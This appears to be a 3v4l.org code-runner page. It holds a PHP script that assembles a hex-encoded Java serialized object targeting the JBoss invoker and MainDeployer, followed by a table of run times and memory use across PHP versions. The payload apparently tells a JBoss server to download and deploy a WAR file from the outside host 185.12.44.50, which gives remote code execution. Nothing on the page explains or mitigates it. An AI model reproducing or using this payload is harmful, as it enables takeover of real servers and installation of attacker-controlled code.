3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://185.12.44.50/a.war?"; $url_len=pack("n",strlen($url)); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf(bin2hex($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.01216.63
8.3.50.0150.00521.99
8.3.40.0090.00618.89
8.3.30.0140.00719.13
8.3.20.0050.00220.38
8.3.10.0000.00921.73
8.3.00.0060.00617.38
8.2.180.0140.00418.32
8.2.170.0110.00422.96
8.2.160.0100.00322.25
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00419.54
8.2.110.0030.00719.05
8.2.100.0130.00017.47
8.2.90.0050.00319.26
8.2.80.0000.00817.97
8.2.70.0030.00617.63
8.2.60.0040.00418.05
8.2.50.0030.00618.07
8.2.40.0030.00618.16
8.2.30.0050.00318.05
8.2.20.0040.00417.76
8.2.10.0040.00418.16
8.2.00.0050.00317.67
8.1.280.0110.00425.92
8.1.270.0040.00718.96
8.1.260.0000.00826.35
8.1.250.0040.00428.09
8.1.240.0030.00623.96
8.1.230.0160.00017.42
8.1.220.0040.00417.79
8.1.210.0080.00018.77
8.1.200.0050.00517.35
8.1.190.0040.00417.13
8.1.180.0040.00418.10
8.1.170.0030.00618.58
8.1.160.0050.00322.02
8.1.150.0040.00418.99
8.1.140.0040.00417.44
8.1.130.0050.00217.84
8.1.120.0070.00017.47
8.1.110.0050.00217.48
8.1.100.0050.00317.50
8.1.90.0040.00317.44
8.1.80.0000.00717.55
8.1.70.0000.00717.41
8.1.60.0060.00317.63
8.1.50.0070.00017.57
8.1.40.0000.00817.56
8.1.30.0000.00817.74
8.1.20.0080.00017.63
8.1.10.0000.00817.55
8.1.00.0090.00017.46
8.0.300.0040.00418.77
8.0.290.0040.00416.58
8.0.280.0000.00718.52
8.0.270.0030.00317.25
8.0.260.0060.00017.31
8.0.250.0060.00017.00
8.0.240.0040.00417.01
8.0.230.0030.00317.00
8.0.220.0040.00416.80
8.0.210.0000.00716.88
8.0.200.0030.00316.87
8.0.190.0040.00416.98
8.0.180.0000.00716.96
8.0.170.0000.00816.86
8.0.160.0000.00716.96
8.0.150.0040.00416.79
8.0.140.0000.00716.82
8.0.130.0000.00613.39
8.0.120.0000.00916.88
8.0.110.0040.00416.95
8.0.100.0080.00016.92
8.0.90.0070.00016.80
8.0.80.0090.00617.00
8.0.70.0040.00416.80
8.0.60.0000.00716.86
8.0.50.0040.00416.78
8.0.30.0130.00917.10
8.0.20.0110.01117.40
8.0.10.0040.00417.04
8.0.00.0070.01116.84
7.4.330.0050.00015.03
7.4.320.0040.00416.57
7.4.300.0060.00016.54
7.4.290.0030.00316.74
7.4.280.0060.00616.54
7.4.270.0000.00716.69
7.4.260.0030.00316.69
7.4.250.0040.00416.66
7.4.240.0050.00316.60
7.4.230.0030.00316.68
7.4.220.0090.00916.60
7.4.210.0060.01316.58
7.4.200.0000.00716.39
7.4.160.0090.00616.77
7.4.150.0070.01017.40
7.4.140.0090.01217.86
7.4.130.0130.00516.58
7.4.120.0100.00716.68
7.4.110.0060.01316.45
7.4.100.0120.00616.63
7.4.90.0100.00716.50
7.4.80.0140.00719.39
7.4.70.0230.01516.54
7.4.60.0140.00516.66
7.4.50.0000.00516.61
7.4.40.0040.01216.32
7.4.30.0070.01016.48
7.4.00.0070.00715.13
7.3.330.0000.00713.29
7.3.320.0130.00013.22
7.3.310.0050.00316.24
7.3.300.0060.00016.41
7.3.290.0060.00916.35
7.3.280.0090.00816.39
7.3.270.0120.00917.40
7.3.260.0080.00816.29
7.3.250.0080.01216.46
7.3.240.0100.00716.43
7.3.230.0120.00616.44
7.3.210.0130.00316.47
7.3.200.0130.00919.39
7.3.190.0040.01816.65
7.3.180.0090.00916.31
7.3.170.0030.01316.27
7.3.160.0100.01116.58
7.3.10.0090.00616.70
7.3.00.0070.01016.70
7.2.330.0080.01116.60
7.2.320.0060.01216.77
7.2.310.0130.00716.68
7.2.300.0150.00316.64
7.2.290.0150.00716.69
7.2.130.0070.00717.12
7.2.120.0030.01017.02
7.2.110.0090.00616.93
7.2.100.0030.00617.03
7.2.90.0100.00616.79
7.2.80.0110.00416.77
7.2.70.0060.00317.04
7.2.60.0060.00816.80
7.2.50.0080.00817.02
7.2.40.0090.00416.86
7.2.30.0080.00617.11
7.2.20.0000.01417.09
7.2.10.0030.00717.07
7.2.00.0020.01218.19
7.1.250.0000.01015.77
7.1.200.0090.00615.64
7.1.100.0070.00317.88
7.1.70.0060.00316.93
7.1.60.0060.01919.46
7.1.50.0120.01234.91
7.1.00.0030.07722.44
7.0.200.0840.00716.65
7.0.140.0030.03322.12
7.0.60.0100.07019.96
7.0.50.0030.04017.92
7.0.40.0070.08320.23
7.0.30.0300.05720.17
7.0.20.0330.04719.99
7.0.10.0070.05020.01
7.0.00.0200.05720.14
5.6.280.0030.06721.07
5.6.210.0170.07020.53
5.6.200.0130.04318.16
5.6.190.0030.06020.45
5.6.180.0230.05020.29
5.6.170.0170.04720.40
5.6.160.0000.04720.41
5.6.150.0070.03718.24
5.6.140.0070.05018.21
5.6.130.0070.08318.21
5.6.120.0100.03321.05
5.6.110.0100.05721.02
5.6.100.0030.05021.01
5.6.90.0170.07021.08
5.6.80.0130.03320.36
5.5.350.0100.08020.36
5.5.340.0070.08018.02
5.5.330.0070.04020.43
5.5.320.0070.04320.20
5.5.310.0070.05020.31
5.5.300.0100.08018.02
5.5.290.0100.08318.01
5.5.280.0030.07720.91
5.5.270.0070.03720.90
5.5.260.0000.04720.69
5.5.250.0070.04020.59
5.5.240.0100.04020.29
5.4.450.0200.07319.41
5.4.440.0230.07719.45
5.4.430.0270.07319.38
5.4.420.0170.06019.41
5.4.410.0230.07319.29
5.4.400.0230.07719.07
5.4.390.0270.05719.08
5.4.380.0230.07019.09
5.4.370.0230.07019.09
5.4.360.0230.05319.25
5.4.350.0130.05719.24
5.4.340.0330.06719.13
5.4.320.0300.06319.04
5.4.310.0200.05719.22
5.4.300.0200.07019.07
5.4.290.0270.07018.91
5.4.280.0300.06719.08
5.4.270.0230.06018.92
5.4.260.0230.05319.15
5.4.250.0230.06019.04
5.4.240.0170.05019.13
5.4.230.0230.04319.09
5.4.220.0300.02718.91
5.4.210.0200.05019.07
5.4.200.0130.04718.80
5.4.190.0200.06718.78
5.4.180.0370.07019.23
5.4.170.0170.04719.07
5.4.160.0230.07318.89
5.4.150.0270.05019.19
5.4.140.0270.05316.23
5.4.130.0200.06316.33
5.4.120.0370.06016.33
5.4.110.0200.07016.42
5.4.100.0300.04316.39
5.4.90.0200.07016.39
5.4.80.0300.06016.39
5.4.70.0230.04316.05
5.4.60.0200.07016.37
5.4.50.0270.04016.43
5.4.40.0300.05716.37
5.4.30.0270.04016.36
5.4.20.0230.05716.31
5.4.10.0200.06716.04
5.4.00.0270.05315.89
5.3.290.0230.07014.59
5.3.280.0230.07714.67
5.3.270.0200.04714.48
5.3.260.0230.03314.65
5.3.250.0300.05014.67
5.3.240.0200.07014.48
5.3.230.0230.06014.57
5.3.220.0230.06314.61
5.3.210.0200.06014.46
5.3.200.0170.05714.41
5.3.190.0170.06014.42
5.3.180.0200.03714.63
5.3.170.0170.05714.53
5.3.160.0230.07714.46
5.3.150.0200.05714.44
5.3.140.0200.07014.42
5.3.130.0230.05014.51
5.3.120.0330.06714.54
5.3.110.0200.06314.51
5.3.100.0270.04713.93
5.3.90.0270.06314.09
5.3.80.0230.06713.84
5.3.70.0200.05313.82
5.3.60.0230.03713.89
5.3.50.0230.07314.06
5.3.40.0200.06313.80
5.3.30.0200.07013.91
5.3.20.0200.04313.64
5.3.10.0400.05713.72
5.3.00.0200.07313.49
5.2.170.0130.06712.13
5.2.160.0230.04012.13
5.2.150.0130.03312.13
5.2.140.0170.06012.13
5.2.130.0300.03012.13
5.2.120.0230.06012.13
5.2.110.0130.03712.13
5.2.100.0170.06012.13
5.2.90.0230.03312.13
5.2.80.0170.06312.13
5.2.70.0170.06312.13
5.2.60.0170.04012.13
5.2.50.0170.06312.13
5.2.40.0130.05012.13
5.2.30.0200.03712.13
5.2.20.0170.05712.13
5.2.10.0100.06712.13
5.2.00.0130.05312.13
5.1.60.0130.05312.13
5.1.50.0170.04312.13
5.1.40.0070.03312.13
5.1.30.0200.05312.13
5.1.20.0130.04712.13
5.1.10.0100.05012.13
5.1.00.0170.04712.13
5.0.50.0030.03012.13
5.0.40.0130.01712.13
5.0.30.0100.02712.13
5.0.20.0100.01312.13
5.0.10.0070.02012.13
5.0.00.0070.03012.13
4.4.90.0130.02712.13
4.4.80.0070.03312.13
4.4.70.0070.02312.13
4.4.60.0030.04012.13
4.4.50.0070.03712.13
4.4.40.0030.03712.13
4.4.30.0070.03312.13
4.4.20.0100.03312.13
4.4.10.0070.02312.13
4.4.00.0030.05712.13
4.3.110.0070.01712.13
4.3.100.0030.01712.13
4.3.90.0070.01712.13
4.3.80.0030.02712.13
4.3.70.0070.01312.13
4.3.60.0000.02012.13
4.3.50.0070.01312.13
4.3.40.0030.02312.13
4.3.30.0030.01312.13
4.3.20.0030.01312.13
4.3.10.0070.01312.13
4.3.00.0000.01712.13

preferences:
46.96 ms | 401 KiB | 5 Q